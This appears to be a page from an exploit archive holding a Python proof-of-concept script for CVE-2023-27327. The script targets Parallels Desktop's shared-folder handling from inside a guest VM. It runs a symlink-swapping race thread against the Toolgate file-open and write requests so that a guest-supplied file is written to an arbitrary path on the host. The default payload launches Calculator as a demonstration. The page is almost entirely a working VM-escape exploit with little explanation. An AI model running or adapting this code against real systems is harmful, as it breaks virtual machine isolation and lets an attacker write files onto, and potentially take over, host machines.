4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / 1_write_file.py PY
#!/usr/bin/env python3

# CVE-2023-27327

import argparse
import os
import stat
import threading
from pwn import *
from toolgate import *

tg = ToolgateClient(device_path='/proc/driver/prl_tg_pwn')

race_won = False

def racer(share_path: str, host_path: str) -> None:
    """
    Creates two files in the share, one is a symlink pointing to a host path 
    which we want to open, and the other is an empty file. Then we continuously 
    switch them in a loop.
    """
    log.info('Racer running')
    file = os.path.join(share_path, 'file')
    link = os.path.join(share_path, 'link')
    scratch = file + '.'
    try:
        os.unlink(link)
    except:
        pass
    
    try:
        os.unlink(file)
    except:
        pass

    fd = os.open(file, os.O_RDONLY | os.O_CREAT | stat.S_IRWXU)
    os.close(fd)
    os.symlink(host_path, link)
    while not race_won:
        try:
            os.rename(file, scratch)
        except:
            pass
        
        try:
            os.rename(link, file)
        except:
            pass
        
        try: 
            os.rename(scratch, link)
        except:
            pass

def main(args: argparse.Namespace): 
    global race_won
    shares = tg.get_shared_folder_list()
    share_path = None
    shared_folder_id = None
    
    if not args.share_path:
        for shared_folder_id, share in enumerate(shares):
            p = f'/media/psf/{share}'
            if os.path.exists(p):
                share_path = p
                break
    else:
        share_path = args.share_path
        shared_folder_id = 0

    if share_path is None:
        log.info('No suitable share found. Are there shared folders mounted? If so, try the --share-path flag')
        return

    shared_folder_id += 1
    share_path = share_path.rstrip('/')
    share_name = os.path.basename(share_path)
    log.info(f'Share path: {share_path}')
    log.info(f'Share name: {share_name}')
    log.info(f'Share id:   {shared_folder_id}')

    racer_thread = threading.Thread(target=racer, args=(share_path, args.host_path))
    log.info('Spawning racer')
    racer_thread.start()
    
    with open(args.guest_path, 'rb') as f:
        file_data = f.read()
     
    tries = 0
    while tries < 1000:
        # Open file, which may or may not be pointing outside the share
        path = f'/{share_name}/file'.encode('utf-8')
        pfd = prlfs_file_desc(
            0xffffffff,
            0,
            os.O_RDWR | os.O_APPEND,
            shared_folder_id,
        )
        buf1 = tg.get_tg_buffer_from_data(path, writeable=True)
        buf2 = tg.get_tg_buffer_from_data(bytes(pfd), writeable=True)
        req = create_tg_request_type(0, 2)(TG_REQUEST_FS_L_OPEN, TG_STATUS_PENDING, 0, 2, 0, b'', (TG_BUFFER * 2)(buf1, buf2))
        tg.submit(req)
        output = tg.get_bytes_from_tg_buffer(buf2)
        pfd = prlfs_file_desc.from_buffer_copy(output)

        if req.Status != TG_STATUS_SUCCESS:
            continue

        # Attempt the write
        pfd = prlfs_file_desc(
            pfd.fd,
            0,
            0,
            shared_folder_id,
        )
        buf1 = tg.get_tg_buffer_from_data(bytes(pfd), writeable=False)
        buf2 = tg.get_tg_buffer_from_data(file_data, writeable=False)
        req = create_tg_request_type(0, 2)(TG_REQUEST_FS_L_RW, TG_STATUS_PENDING, 0, 2, 0, b'', (TG_BUFFER * 2)(buf1, buf2))
        tg.submit(req)
        tries += 1

    log.info('Terminating racer')
    race_won = True
    racer_thread.join()
    log.info(f'File written to {args.host_path}')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument(
        'guest_path',
        help='Path to file on guest which will be written on host')
    parser.add_argument(
        'host_path', 
        help='Path of the file on the host which you want to read or write')
    parser.add_argument(
        '--data', 
        help='The data to append or write to the host file', 
        default='\nosascript -e \'tell application "Calculator.app" to activate\'\n', 
        required=False)
    parser.add_argument(
        '--share-path', 
        help='Path of the share, e.g. /media/psf/Home', 
        required=False)
    args = parser.parse_args()
    
    try:
        main(args)
    except KeyboardInterrupt:
        log.info('Exiting')
        race_won = True
        tg.close()